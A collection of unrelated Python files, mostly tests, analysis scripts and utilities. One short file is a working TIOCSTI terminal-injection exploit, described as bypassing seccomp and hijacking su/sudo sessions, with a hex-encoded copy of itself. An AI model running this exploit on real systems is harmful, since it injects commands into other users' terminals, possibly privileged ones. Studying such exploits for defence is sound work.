self.l1.description = "Dark, sticky, and reeks of poorly forgotten violence."
self.l1.save()
def test_additions_list(self):
"""
Verify that the additions list is collected propery.
"""
additions_list = self.user.get_recent_additions(15)
assert len(additions_list) == 15
assert additions_list[0]["object"] == self.chap1
assert additions_list[1]["object"] == self.part2
assert additions_list[2]["object"] == self.part1
assert additions_list[3]["object"] == self.arc2.arc_root_node.get_children()[6]
assert additions_list[4]["object"] == self.arc2.arc_root_node.get_children()[5]
assert additions_list[5]["object"] == self.arc2.arc_root_node.get_children()[4]
assert additions_list[6]["object"] == self.arc2.arc_root_node.get_children()[3]
assert additions_list[7]["object"] == self.arc2.arc_root_node.get_children()[2]
assert additions_list[8]["object"] == self.arc2.arc_root_node.get_children()[1]
assert additions_list[9]["object"] == self.arc2.arc_root_node.get_children()[0]
assert additions_list[10]["object"] == self.arc2
assert additions_list[11]["object"] == self.arc1.arc_root_node.get_children()[6]
assert additions_list[12]["object"] == self.arc1.arc_root_node.get_children()[5]
assert additions_list[13]["object"] == self.arc1.arc_root_node.get_children()[4]
assert additions_list[14]["object"] == self.arc1.arc_root_node.get_children()[3]
def test_edits_list(self):
"""
Verify that edits are retrieved correctly and in the right order.
"""
edits_list = self.user.get_recent_edits(15)
print(edits_list)
for edit in edits_list:
print(
"{0}: created({1}), modifed({2})".format(
edit["object"], edit["object"].created, edit["object"].modified
)
)
assert len(edits_list) == 8
assert edits_list[0]["object"] == self.l1
assert edits_list[1]["object"] == self.o1
assert edits_list[2]["object"] == self.arc1
assert edits_list[3]["object"] == self.c1int
assert edits_list[4]["object"] == self.c2
assert edits_list[5]["object"] == self.arc2
assert edits_list[6]["object"] == self.c1
assert edits_list[7]["object"] == self.s1
def test_combined_list(self):
"""
Verify that combined list is joined and sorted correctly.
"""
all_events = self.user.get_all_recent_changes(15)
assert len(all_events) == 15
assert all_events[0]["object"] == self.l1
assert all_events[0]["edit_type"] == "edit"
assert all_events[1]["object"] == self.o1
assert all_events[1]["edit_type"] == "edit"
assert all_events[2]["object"] == self.arc1
assert all_events[2]["edit_type"] == "edit"
assert all_events[3]["object"] == self.c1int
assert all_events[3]["edit_type"] == "edit"
assert all_events[4]["object"] == self.chap1
assert all_events[4]["edit_type"] == "add"
assert all_events[5]["object"] == self.c2
assert all_events[5]["edit_type"] == "edit"
assert all_events[6]["object"] == self.part2
assert all_events[6]["edit_type"] == "add"
assert all_events[7]["object"] == self.part1
assert all_events[7]["edit_type"] == "add"
assert all_events[8]["object"] == self.arc2.arc_root_node.get_children()[6]
assert all_events[8]["edit_type"] == "add"
assert all_events[9]["object"] == self.arc2.arc_root_node.get_children()[5]
assert all_events[9]["edit_type"] == "add"
assert all_events[10]["object"] == self.arc2.arc_root_node.get_children()[4]
assert all_events[10]["edit_type"] == "add"
assert all_events[11]["object"] == self.arc2.arc_root_node.get_children()[3]
assert all_events[11]["edit_type"] == "add"
assert all_events[12]["object"] == self.arc2.arc_root_node.get_children()[2]
assert all_events[12]["edit_type"] == "add"
assert all_events[13]["object"] == self.arc2.arc_root_node.get_children()[1]
assert all_events[13]["edit_type"] == "add"
assert all_events[14]["object"] == self.arc2.arc_root_node.get_children()[0]
assert all_events[14]["edit_type"] == "add"
|
py | 1a4cae652da3505cf70a80bcab37e72ac41d19f6 | #! /usr/bin/env python3
# Insert characters into TTY
# Can be used to bypass naive seccomp filter that allows ioctl on FD 1 (stdout) when the input is a terminal
# and also exploit for sudo and su: https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking
import fcntl, termios
PAYLOAD =\
"""echo i am an evil attacker > evil.pwned
"""
# Insert evil characters!
for c in PAYLOAD:
fcntl.ioctl(1, termios.TIOCSTI, c.encode())
# exec(bytes.fromhex("0a696d706f72742066636e746c2c207465726d696f732c207379730a5041594c4f41443d276563686f206920616d20616e206576696c2061747461636b6572203e206576696c2e70776e65645c6e270a666f72206320696e205041594c4f41443a0a2020202066636e746c2e696f63746c28312c207465726d696f732e54494f435354492c20632e656e636f64652829290a7379732e6578697428290a").decode()) |
py | 1a4caf4310ba0542cf71c2ef4f059a5b255785d0 | """
Print command.
Print information about the wily cache and what is in the index.
"""
import tabulate
from wily import logger, format_date, format_revision, MAX_MESSAGE_WIDTH
from wily.config import DEFAULT_GRID_STYLE
from wily.state import State
def index(config, include_message=False):
"""
Show information about the cache and runtime.
:param config: The wily configuration
:type config: :namedtuple:`wily.config.WilyConfig`
:param include_message: Include revision messages
:type include_message: ``bool``
"""
state = State(config=config)
logger.debug("Running show command")
logger.info("--------Configuration---------")
logger.info(f"Path: {config.path}")
logger.info(f"Archiver: {config.archiver}")
logger.info(f"Operators: {config.operators}")
logger.info("")
logger.info("-----------History------------")
data = []
for archiver in state.archivers:
for rev in state.index[archiver].revisions:
if include_message:
data.append(
(
format_revision(rev.revision.key),
rev.revision.author_name,
rev.revision.message[:MAX_MESSAGE_WIDTH],
format_date(rev.revision.date),
)
)
else:
data.append(
(
format_revision(rev.revision.key),
rev.revision.author_name,
format_date(rev.revision.date),
)
)
if include_message:
headers = ("Revision", "Author", "Message", "Date")
else:
headers = ("Revision", "Author", "Date")
print(
tabulate.tabulate(
headers=headers, tabular_data=data, tablefmt=DEFAULT_GRID_STYLE
)
)
|
py | 1a4cb02aac4bfa4490adca7d0d3bdecc15251049 | """
Test the pre-trained autoencoder model with test trajectory data.
"""
import warnings
warnings.simplefilter(action='ignore', category=FutureWarning)
import ae_utilities as aeu
import dataset_defines as dd
import numpy as np
import os
abspath = os.path.abspath(__file__)
dir_name = os.path.dirname(abspath)
dataset_name = dir_name[dir_name.rfind('/')+1:] + '_gt_data.csv'
dataset_file_path = os.path.join(dir_name + '/data', dataset_name)
abnormal_name = dir_name[dir_name.rfind('/')+1:] + '_gt_real_abnormal_2.csv'
abnormal_file_path = os.path.join(dir_name + '/data', abnormal_name)
def get_comparison_results(result_file):
"""
Returns a array of strings in the following format:
[[label_0, Size_N, size_A, TPR, TNR, TPR, TNR, TPR, TNR, TPR, TNR],
[label_1, Size_N, size_A, TPR, TNR, TPR, TNR, TPR, TNR, TPR, TNR],
...
[total, Size_N, size_A, TPR, TNR, TPR, TNR, TPR, TNR, TPR, TNR]]
"""
# Change the directory
or_dir_name = os.getcwd()
os.chdir(dir_name)
list_of_model_names = ['one_class_svm','isolation_forest','single_ae','deep_ae']
# Extract trajectories and export data to array
dataset = np.genfromtxt(dataset_file_path, delimiter=',')
# Ignore first column representing object_id
dataset = dataset[:,1:]
# Generate abnormal data
abnormal_data = np.genfromtxt(abnormal_file_path, delimiter=',')
abnormal_data = abnormal_data[:,1:]
# list of object labels: -1 means all objects. The following order follows: 1. Cars; 2. Peds; 3. Bike; 4.All
list_labels = [1,0,2,3]
label_names = ['Peds','Cars','Bike','All']
# Get the number of labels
n_labels = 1
for object_label in list_labels:
if object_label != 3:
if len(dataset[dataset[:,0] == object_label]) > 0:
n_labels += 1
row_string = r'\multirow{{{}}}{{*}}{{Rouen}}'.format(n_labels)
is_first = True
for object_label in list_labels:
print('====================================== {} ======================================'.
format(label_names[object_label]))
sub_normal_data = dataset
sub_abnormal_data = abnormal_data
if object_label != 3:
sub_normal_data = sub_normal_data[sub_normal_data[:,0] == object_label]
sub_abnormal_data = sub_abnormal_data[sub_abnormal_data[:,0] == object_label]
if len(sub_normal_data) == 0 or len(sub_abnormal_data) == 0:
continue
if is_first:
result_file.write(r'\multicolumn{{1}}{{c|}}{{{}}} & '.format(row_string))
is_first = False
else:
result_file.write(r'\multicolumn{1}{c|}{} & ')
# Get the number of samples
size_n = sub_normal_data.shape[0]
size_a = sub_abnormal_data.shape[0]
result_file.write(r'{} & {} & {} '.format(label_names[object_label], size_n, size_a))
for model_name in list_of_model_names:
print('================================== {} =================================='.format(model_name))
# Files containing info of the model and threshold value
trained_model_path = 'model/' + model_name + '/'
trained_model_summary_results_filename = 'results/' + model_name + '/summary_results.csv'
# Ref.: https://stackoverflow.com/questions/29451030/why-doesnt-np-genfromtxt-remove-header-while-importing-in-python
with open(trained_model_summary_results_filename, 'r') as results:
line = results.readline()
header = [e for e in line.strip().split(',') if e]
results_array = np.genfromtxt(results, names=header, dtype=None, delimiter=',')
TPR_list = []
TNR_list = []
for i in range(aeu.repeat_number):
print('======================== Iteration {} ========================'.format(i))
if model_name == 'single_ae' or model_name == 'deep_ae':
# Refer to the deep_ae_summary_results.csv
threshold_value = results_array['threshold_value'][i]
else:
threshold_value = 0
# Test normal data
TNR = aeu.test_trained_model(test_data=sub_normal_data,
clf_name=model_name,
model_dir_path=trained_model_path,
iteration_number=i,
is_abnormal=False,
threshold_value=threshold_value)
# Test abnormal data
TPR = aeu.test_trained_model(test_data=sub_abnormal_data,
clf_name=model_name,
model_dir_path=trained_model_path,
iteration_number=i,
is_abnormal=True,
threshold_value=threshold_value)
# Compute TP, TN, FP, FN
#TP = abnormal_ratio
#TN = normal_ratio
#FP = 1 - TN
#FN = 1 - TP
# Compute TPR and TNR
#TPR = TP / (TP + FN) = abnormal_ratio
#TNR = TN / (FP + TN) = normal_ratio
TPR_list.append(int(TPR*100))
TNR_list.append(int(TNR*100))
output_string = '\nTPR = {0:.2f}% and TNR = {1:.2f}%'.format(TPR*100, TNR*100)
print(output_string)
print('==============================================================')
# Get the best one that gives the max value of TPR + TNR
TPR_list = np.array(TPR_list)
TNR_list = np.array(TNR_list)
best_index = np.argmax(TPR_list + TNR_list)
TPR_best = TPR_list[best_index]
TNR_best = TNR_list[best_index]
is_TPR_best = (TPR_best == np.max(TPR_list))
is_TNR_best = (TNR_best == np.max(TNR_list))
if is_TPR_best:
TPR_string = r'\textbf{{{}}}'.format(TPR_best)
else:
TPR_string = str(TPR_best)
if is_TNR_best:
TNR_string = r'\textbf{{{}}}'.format(TNR_best)
else:
TNR_string = str(TNR_best)
result_file.write(r'& {} & {} '.format(TPR_string, TNR_string))
result_file.write(r'\\' + '\n')
# Change the directory back to the initial one
os.chdir(or_dir_name)
|
py | 1a4cb10995aad791bec97341ba83a4fffd089df1 | from os import getenv, getcwd
import json
TOKEN = getenv("TOKEN")
with open(f"{getcwd()}/data/federation.json", "r") as f:
FEDERATION = json.loads(f.read())
|
py | 1a4cb2d4d4ecb4e888591017bb5ede923ebf9e57 | import requests
import random
from time import sleep
from urllib.parse import urlparse as parsy
bad = '\033[91m[-]\033[0m'
user_agents = ['Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991']
def make_request(url, param_data, method, cookie): #The main function which actually makes contact with the target
headers = {
'Host' : parsy(url).hostname,
'User-Agent' : random.choice(user_agents),
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' : 'en-US,en;q=0.5',
'Accept-Encoding' : 'deflate',
'DNT' : '1',
'Connection' : 'close'}
try:
if method == 'GET':
resp = requests.get(url + param_data, cookies=cookie, headers=headers) #Makes request
return resp.text #Reads the output
elif method == 'POST':
resp = requests.post(url, data=param_data, cookies=cookie, headers=headers) #Makes request
return resp.text #Reads the output
except:
print('\n%s Target isn\'t responding properly.' % bad)
quit()
|
py | 1a4cb349dc035dbe77a74e79cb340f18b74eaab3 | # importing important librarires
import itertools
import numpy as np
import torch
import pydicom
from PIL import Image
from torch.utils.data import DataLoader
import pandas as pd
def load_scan(path):
"""
This function is used to load the MRI scans. It converts the scan into a numpy array
Parameters:
path (str): The path to the folder containing the MRI scans of all patients
Returns:
np_image (numpy.ndarray): A numpy array representing the MRI scan
"""
# slices = [pydicom.read_file(path + '/' + s) for s in os.listdir(path)]
# slices.sort(key = lambda x: float(x.ImagePositionPatient[2]))
# try:
# slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2])
# except Exception as e:
# print("Exception raised: ", e)
# slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation)
# for s in slices:
# s.SliceThickness = slice_thickness
# image = np.stack([s.pixel_array for s in slices])
image = pydicom.read_file(path)
# print(type(image))
image = image.pixel_array.astype(np.int16)
np_image = np.array(image, dtype=np.int16)
# print("scan shape: ", np_image.shape)
return np_image
def load_seg(path):
"""
This function is used to load the segmented image. It returns the image in a numpy array
Parameters:
path (str): The directory where all the segmented images corresponding to one patient are stored
Returns:
seg_data (numpy.ndarray): A list of numpy arrays corresponding to segmented images
"""
# seg_paths = []
# if path[-1] != '/':
# path = path + '/'
# for seg in os.listdir(path):
# seg_paths.append(path + seg)
# seg_paths.sort()
seg = Image.open(path)
seg_data = np.asarray(seg)
seg_data = np.array(seg_data)
# for seg_path in seg_paths:
# seg = Image.open(seg_path)
# seg_data.append(np.asarray(seg))
# print("seg shape: ", seg_data.shape)
### This block of code was to list the different intensity values
# for arr in seg_data:
# for elem in arr:
# if (elem not in seg_val):
# seg_val.append(elem)
return seg_data
def resize_data(data, new_dimensions):
'''
This function resizes a numpy array.
TO DO: method used for interpolation?
Parameters:
data (numpy.ndarray): a numpy array representing an MRI scan
new_dimensions (list): a list containing the dimensions of the new scan [z,x,y]
Returns:
new_data (numpy.ndarray): a numpy array with the desired dimensions
'''
initial_size_x = data.shape[1]
initial_size_y = data.shape[2]
initial_size_z = data.shape[0]
new_size_z = new_dimensions[0]
new_size_x = new_dimensions[1]
new_size_y = new_dimensions[2]
delta_x = initial_size_x / new_size_x
delta_y = initial_size_y / new_size_y
delta_z = initial_size_z / new_size_z
new_data = np.zeros((new_size_z, new_size_x, new_size_y))
for x, y, z in itertools.product(range(new_size_x),
range(new_size_y),
range(new_size_z)):
new_data[z][x][y] = data[int(z * delta_z)][int(x * delta_x)][int(y * delta_y)]
return new_data
def padSlice(values):
'''
This function adds padding to images. The final size of the image is 320x320
Args:
values (np.ndarray): The image in the form of a numpy array
Returns:
values (np.ndarray): The padded image
'''
# print(values.shape)
target_shape = np.array((320, 320))
pad = ((target_shape - values.shape) / 2).astype("int")
values = np.pad(values, ((pad[0], pad[0]), (pad[1], pad[1])), mode="constant", constant_values=0)
return values
def findOrgan(img, seg, organ):
'''
This function is used to locate a specific organ in an image.
Args:
img (np.ndarray): The input image
seg (np.ndarray): The segmented image
organ (str): The organ that we want to locate. The following key is used:
rk: right kidney
lk: left kidney
lv: liver
sp: spleen
Returns:
img (np.ndarray): original image ---> should not be returned
new_seg (np.ndarray): the segmented image with only the selected organ segmented
'''
if organ == 'rk':
value = 126
elif organ == 'lk':
value = 189
elif organ == 'lv':
value = 63
elif organ == 'sp':
value = 252
else:
print("Wrong organ selected.")
print("Right kidney: rk \nLeft kidney: lk \nLiver: lv \nSpleen: sp")
new_seg = np.zeros(seg.shape)
new_img = np.zeros(img.shape)
return new_img, new_seg
new_seg = np.zeros(seg.shape)
new_img = np.zeros(img.shape)
indices = np.where(seg == value) # tuple of 2 arrays [i0,i1,...,in], [j0,j1,...,jn], where seg[i][j] == value
for i in range(len(indices[0])):
row = indices[0][i]
col = indices[1][i]
# new_img[row][col] = img[row][col]
new_seg[row][col] = 1
return img, new_seg
def check_accuracy(loader, model, loss_fn, device="cuda"):
'''
This function is used to check the accuracy of the model
Args:
loader (torch.utils.data.DataLoader): The dataloader that is being used
model (UNET): The model that is being used
loss_fn (): The loss function
device: CPU or CUDA
Returns:
loss (float): The total loss for the batch
dice_score (float): The average dice coefficient for the batch
'''
num_correct = 0
num_pixels = 0
dice_score = 0
loss = 0
model.eval()
d1 = 0
# with torch.no_grad():
# for x, y in loader:
# # print("x: ", x.shape)
# # print("y: ", y.shape)
# x = x.unsqueeze(1).to(device)
# # print("x: ", x.shape)
# y = y.unsqueeze(1).to(device)
# # print("mo la")
# preds = torch.sigmoid(model(x))
# preds = (preds > 0.5).float()
# loss = loss_fn.forward(preds,y)
# num_correct += (preds == y).sum()
# num_pixels += torch.numel(preds)
with torch.no_grad():
for x, y in loader:
x = x.unsqueeze(1).to(device)
y = y.unsqueeze(1).to(device).float()
preds = torch.sigmoid(model(x))
preds = (preds > 0.5).float()
# print(type(preds))
num_correct += (preds == y).sum()
num_pixels += torch.numel(preds)
# dice_score += (2 * (preds * y).sum() + 1) / (
# (preds + y).sum() + 1
# )
loss += loss_fn(preds,y)
inputs = preds.view(-1)
targets = y.view(-1)
intersection = (inputs * targets).sum()
dice = (2. * intersection + 1) / (inputs.sum() + targets.sum() + 1)
d1 += dice
print(
f"Got {num_correct}/{num_pixels} with acc {num_correct/num_pixels*100:.2f}"
)
loss = loss.cpu()
d1 = d1.cpu()
# print(f"Dice score: {dice_score/len(loader)}")
print(f"Dice score: {d1 / len(loader)}")
model.train()
return loss, d1/len(loader)
def save_checkpoint(state, filename="my_checkpoint2liver.pth.tar"):
print("=> Saving checkpoint")
torch.save(state, filename)
def load_checkpoint(checkpoint, model):
print("=> Loading checkpoint")
model.load_state_dict(checkpoint["state_dict"])
def get_loaders(train_ds, val_ds, b_size):
'''
This function creates the train and validation loaders with the specified batch size
Args:
train_ds (SliceDataset): The training dataset
val_ds (SliceDataset): The validation dataset
b_size: The desired batch size
Returns:
train_dataloader (torch.utils.data.DataLoader): The dataloader for the training set
val_dataloader (torch.utils.data.DataLoader): The dataloader for the validation set
'''
train_dataloader = DataLoader(train_ds, batch_size=b_size)
val_dataloader = DataLoader(val_ds, batch_size=b_size)
return train_dataloader, val_dataloader
def remove_bg_only_test(test_seg_paths):
test_idx = []
for path in test_seg_paths:
arr = load_seg(path)
result = np.amax(arr).float() == 0.0
if not result:
test_idx.append(test_seg_paths.index(path))
return test_idx
def clean_test_ds(test_img_paths, test_seg_paths, test_idx):
cleaned_img_paths = []
cleaned_seg_paths = []
for idx in test_idx:
cleaned_img_paths.append(test_img_paths[idx])
cleaned_seg_paths.append(test_seg_paths[idx])
return cleaned_img_paths, cleaned_seg_paths
def get_features(features):
return features
def get_num_layers(features):
return len(features)
def save_results(csv, dict):
'''
This function is used to save the conditions and results of training the DNN in a csv file
Args:
csv (str): The name of the csv file. Must be in the format 'XXX.csv'
dict (dict): The conditions and results of training in the form of a dictionary
Returns:
None
'''
df = pd.read_csv(csv, index_col=0)
df = df.append(dict, ignore_index=True)
df.to_csv(csv)
def save_preds():
pass |
py | 1a4cb3bc442e6b1ddf06cb5596198b7d814f4d47 | #!/usr/bin/env python
# Copyright 2016 99cloud Inc.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import imp
import os
from io import StringIO
from oslotest import base
PROJECT_DIR = os.path.abspath(os.path.join(os. path.dirname(__file__), '../'))
MERGE_CONFIG_FILE = os.path.join(PROJECT_DIR,
'ansible/action_plugins/merge_configs.py')
merge_configs = imp.load_source('merge_configs', MERGE_CONFIG_FILE)
TESTA = '''[DEFAULT]
key1 = b
c
key2 = v1
v2
key3 = v3
key3 = v4
key4 = v5
[b]
b_key1 = 1
b_key2 = 1
2
[c]
c_key1 =
c_key2 = 1 2 3
4 5 6
'''
TESTB = '''[DEFAULT]
key2 = v3
v4
v5
key4 = v4
key4 =
[b]
b_key2 = 2
'''
# TESTC is TESTA + TESTB
TESTC = '''[DEFAULT]
key1 = b
c
key2 = v3
v4
v5
key3 = v3
key3 = v4
key4 = v4
key4 =
[b]
b_key1 = 1
b_key2 = 2
[c]
c_key1 =
c_key2 = 1 2 3
4 5 6
'''
TESTA_NO_SECTIONS = '''key1 = a
key2 = b
'''
TESTB_NO_SECTIONS = '''key3 = c
'''
# TESTA_NO_SECTIONS and TESTB_NO_SECTIONS combined
TESTC_NO_SECTIONS = '''key1 = a
key2 = b
key3 = c
'''
TESTA_NO_DEFAULT_SECTION = '''key1 = a
key2 = b
[a]
key1 = not_a
[b]
key3 = not_c
'''
TESTB_NO_DEFAULT_SECTION = '''key3 = c
[b]
key2 = not_b
key3 = override
'''
# TESTA_NO_DEFAULT_SECTION and TESTB_NO_DEFAULT_SECTION combined
TESTC_NO_DEFAULT_SECTION = '''key1 = a
key2 = b
key3 = c
[a]
key1 = not_a
[b]
key3 = override
key2 = not_b
'''
# TESTC_NO_WHITESPACE is TESTA + TESTB without whitespace around equal signs
TESTC_NO_WHITESPACE = '''[DEFAULT]
key1=b
c
key2=v3
v4
v5
key3=v3
key3=v4
key4=v4
key4=
[b]
b_key1=1
b_key2=2
[c]
c_key1=
c_key2=1 2 3
4 5 6
'''
class OverrideConfigParserTest(base.BaseTestCase):
def test_read_write(self):
for ini in [TESTA,
TESTB,
TESTC,
TESTA_NO_SECTIONS,
TESTB_NO_SECTIONS,
TESTC_NO_SECTIONS,
TESTA_NO_DEFAULT_SECTION,
TESTB_NO_DEFAULT_SECTION,
TESTC_NO_DEFAULT_SECTION]:
parser = merge_configs.OverrideConfigParser()
parser.parse(StringIO(ini))
output = StringIO()
parser.write(output)
self.assertEqual(ini, output.getvalue())
output.close()
def test_merge(self):
parser = merge_configs.OverrideConfigParser()
parser.parse(StringIO(TESTA))
parser.parse(StringIO(TESTB))
output = StringIO()
parser.write(output)
self.assertEqual(TESTC, output.getvalue())
output.close()
def test_merge_no_sections(self):
parser = merge_configs.OverrideConfigParser()
parser.parse(StringIO(TESTA_NO_SECTIONS))
parser.parse(StringIO(TESTB_NO_SECTIONS))
output = StringIO()
parser.write(output)
self.assertEqual(TESTC_NO_SECTIONS, output.getvalue())
output.close()
def test_merge_no_default_section(self):
parser = merge_configs.OverrideConfigParser()
parser.parse(StringIO(TESTA_NO_DEFAULT_SECTION))
parser.parse(StringIO(TESTB_NO_DEFAULT_SECTION))
output = StringIO()
parser.write(output)
self.assertEqual(TESTC_NO_DEFAULT_SECTION, output.getvalue())
output.close()
def test_merge_no_whitespace(self):
parser = merge_configs.OverrideConfigParser(whitespace=False)
parser.parse(StringIO(TESTA))
parser.parse(StringIO(TESTB))
output = StringIO()
parser.write(output)
self.assertEqual(TESTC_NO_WHITESPACE, output.getvalue())
output.close()
|
py | 1a4cb3c77e5b5004cbb66db262c325f91f5d090d | # This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
from marionette.by import By
from gaiatest import GaiaTestCase
from gaiatest.apps.gallery.app import Gallery
class TestGalleryCropPhoto(GaiaTestCase):
def setUp(self):
GaiaTestCase.setUp(self)
# add photo to storage
self.push_resource('IMG_0001.jpg')
def test_gallery_crop_photo(self):
gallery = Gallery(self.marionette)
gallery.launch()
gallery.wait_for_files_to_load(1)
initial_image_size = gallery.thumbnails[0].absolute_image_size
image = gallery.tap_first_gallery_item()
# Tap on Edit button.
edit_image = image.tap_edit_button()
edit_image.tap_edit_crop_button()
# portrait crop is 2:3 and will retain the image's height
edit_image.tap_portrait_crop()
gallery = edit_image.tap_edit_save_button()
gallery.wait_for_files_to_load(2)
# get the absolute image for the new first image
cropped_image_size = gallery.thumbnails[0].absolute_image_size
# As we have chosen portrait crop, height will remain the same, width should change
self.assertEqual(cropped_image_size['height'], initial_image_size['height'])
self.assertLess(cropped_image_size['width'], initial_image_size['width'])
|
py | 1a4cb42464ae238946742c01d78f08b3ac1541b9 | import _plotly_utils.basevalidators
class ColorValidator(_plotly_utils.basevalidators.ColorValidator):
def __init__(
self,
plotly_name="color",
parent_name="scatter3d.line.colorbar.title.font",
**kwargs
):
super(ColorValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
role=kwargs.pop("role", "style"),
**kwargs
)
|
py | 1a4cb4d077bd16692234ca18c2de360cedd839d4 | # EXAMPLES needs to add parent directory to path so we can import EZ:
import os, sys
sys.path.append(os.path.dirname(__file__) + '/..')
# Disable the creation of python bytecode to keep stuff clean:
sys.dont_write_bytecode = True
from scripts.EZpanda.EZ import EZ, config
config['window-title'] = "EZpanda Examples"
# Setting in custom build of Panda3D, hopefully will be added in master:
config['bullet-split-impulse'] = True
# Load ez with config (ez is added to builtins so is global to all modules):
ez = EZ(config)
# Get the primary display mode aa- w5idth, height, refresh rate:
w, h, r = ez.window.get_display_mode(0)
# lets set a custom window size
w, h = 1024, 768
ez.window.set_display( w, h, r)
ez.window.fullscreen = False
# Enable everything:
ez.enable.gamepads()
ez.enable.particles()
ez.enable.collision()
ez.enable.physics()
# Load a scene and set it:
ez['menu'] = ez.load.scene('menu')
ez.set_scene( ez['menu'] )
ez.run() |
py | 1a4cb4de9df0b6f7befc484950b95b7aad127aa6 |
class TwitchException(Exception):
"""
Base exception class for twitch.py
Any error thrown exclusively from this library should be able to be caught by this generic exception
"""
pass
class APIMissMatchException(TwitchException):
"""
Exception thrown when an argument from the API is received that does not match our API implementation
If thrown, an issue and change must be made
"""
pass
class NotAuthorizedException(TwitchException):
"""
Exception thrown when an API call is made such that the client and token are not authorized to do
If thrown, the user must be granted permission for said API call
"""
pass
class NoPossibleConversionException(TwitchException):
"""
Exception thrown when a conversion or comparison is performed and no such defined conversion is defined
If thrown, the user probably did something dumb
"""
pass
class LocaleNotFoundException(TwitchException):
"""
Exception thrown when a locale is requested for a tag or game but there does not exist one in the language
If thrown, the user should pick a different locale
"""
pass
class InvalidOperationException(TwitchException):
"""
Exception thrown when an operation is done that violates some assumption or notion
If thrown, the user should check assumptions prior to the call
"""
pass
|
py | 1a4cb55fc104ae2cbeb5465d2ad16264cd12f7e1 | import bisect
from collections import defaultdict
class Solution:
def dailyTemperatures(self, temperatures):
"""
:type temperatures: List[int]
:rtype: List[int]
"""
n = len(temperatures)
if n == 0:
return []
elif n == 1:
return [0]
# get the y axis of temperatures figure
dict_temperatures = defaultdict(list) # {temperature:[index1, index2, ...]}
for i in range(0, len(temperatures)):
dict_temperatures[temperatures[i]].append(i)
# ordering occurred temperatures
ordered_temperatures = sorted(dict_temperatures.keys())
# do computation
wait_days = []
for i in range(0, n-1):
current_temp = temperatures[i]
current_temp_idx = ordered_temperatures.index(current_temp)
if current_temp_idx == len(ordered_temperatures)-1: # no more higher temperature
wait_days.append(0)
else:
# get idx of nearest higher temperature
nearest_higher_idx = n # default idx > size of temperatures dataset
for higher_temp in ordered_temperatures[current_temp_idx+1:]:
for x in dict_temperatures[higher_temp]:
if x > i and nearest_higher_idx > x:
nearest_higher_idx = x
break
# find idx of the nearest higher temperature
if nearest_higher_idx == n:
wait_days.append(0)
else: # sort for the smallest idx
wait_days.append(nearest_higher_idx-i)
# the last one must be 0
wait_days.append(0)
return wait_days
|
py | 1a4cb620a20777fe6ad1ed29e9465a9ea6b98bc7 | from contextlib import closing
from mysql.connector import connect
import random
def create_journal_group_name_lookup(filepath, encoding, delimiter):
data = load_delimited_data(filepath, encoding, delimiter)
lookup = {}
for row in data:
nlm_id = row[0]
group = row[1]
lookup[nlm_id] = group
return lookup
def create_id_lookup(db_config, sql):
lookup = {}
with closing(connect(**db_config)) as conn:
with closing(conn.cursor()) as cursor: #pylint: disable=E1101
cursor.execute(sql) #pylint: disable=E1101
for row in cursor.fetchall(): #pylint: disable=E1101
id, ui = row
lookup[ui] = id
return lookup
def load_delimited_data(path, encoding, delimiter):
with open(path, 'rt', encoding=encoding) as file:
data = tuple( tuple(data_item.strip() for data_item in line.strip().split(delimiter)) for line in file )
return data
def load_ids_from_file(path, encoding):
ids = [int(id[0]) for id in load_delimited_data(path, encoding, ',')]
return ids
def load_indexing_periods(filepath, encoding, is_fully_indexed):
periods = {}
with open(filepath, 'rt', encoding=encoding) as file:
for line in file:
split = line.split(',')
nlm_id = split[0].strip()
citation_subset = split[1].strip()
start_year = int(split[2].strip())
end_year = int(split[3].strip())
if start_year < 0:
continue
if end_year < 0:
end_year = None
period = { 'citation_subset': citation_subset, 'is_fully_indexed': is_fully_indexed, 'start_year': start_year, 'end_year': end_year }
if nlm_id in periods:
periods[nlm_id].append(period)
else:
periods[nlm_id] = [period]
return periods
def random_permutation(iterable, r=None):
pool = tuple(iterable)
r = len(pool) if r is None else r
return tuple(random.sample(pool, r))
def save_delimited_data(path, encoding, delimiter, data):
with open(path, 'wt', encoding=encoding) as file:
for data_row in data:
line = delimiter.join([str(data_item) for data_item in data_row]) + '\n'
file.write(line)
def should_review_coverage_note(coverage_note_text):
coverage_note_text_lower = coverage_note_text.lower()
should_review = str('sel' in coverage_note_text_lower or 'ful' in coverage_note_text_lower)
return should_review
def write_ids_to_file(path, encoding, ids):
save_delimited_data(path, encoding, ',', [(id,) for id in ids]) |
py | 1a4cb648d6ed566b74ba63be5bcd4ecae8c49abd | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Tests for `service/pool` package."""
import pytest
from fencing import fencing
@pytest.fixture
def response():
"""Sample pytest fixture.
See more at: http://doc.pytest.org/en/latest/fixture.html
"""
# import requests
# return requests.get('https://github.com/audreyr/cookiecutter-pypackage')
def test_content(response):
"""Sample pytest test function with the pytest fixture as an argument."""
# from bs4 import BeautifulSoup
# assert 'GitHub' in BeautifulSoup(response.content).title.string
|
py | 1a4cba377980220e87cd5a01dff21a440a42c1e8 | import asyncio
import functools
import inspect
import typing
from urllib.parse import urlencode
from starlette.exceptions import HTTPException
from starlette.requests import HTTPConnection, Request
from starlette.responses import RedirectResponse, Response
from starlette.websockets import WebSocket
def has_required_scope(conn: HTTPConnection, scopes: typing.Sequence[str]) -> bool:
for scope in scopes:
if scope not in conn.auth.scopes:
return False
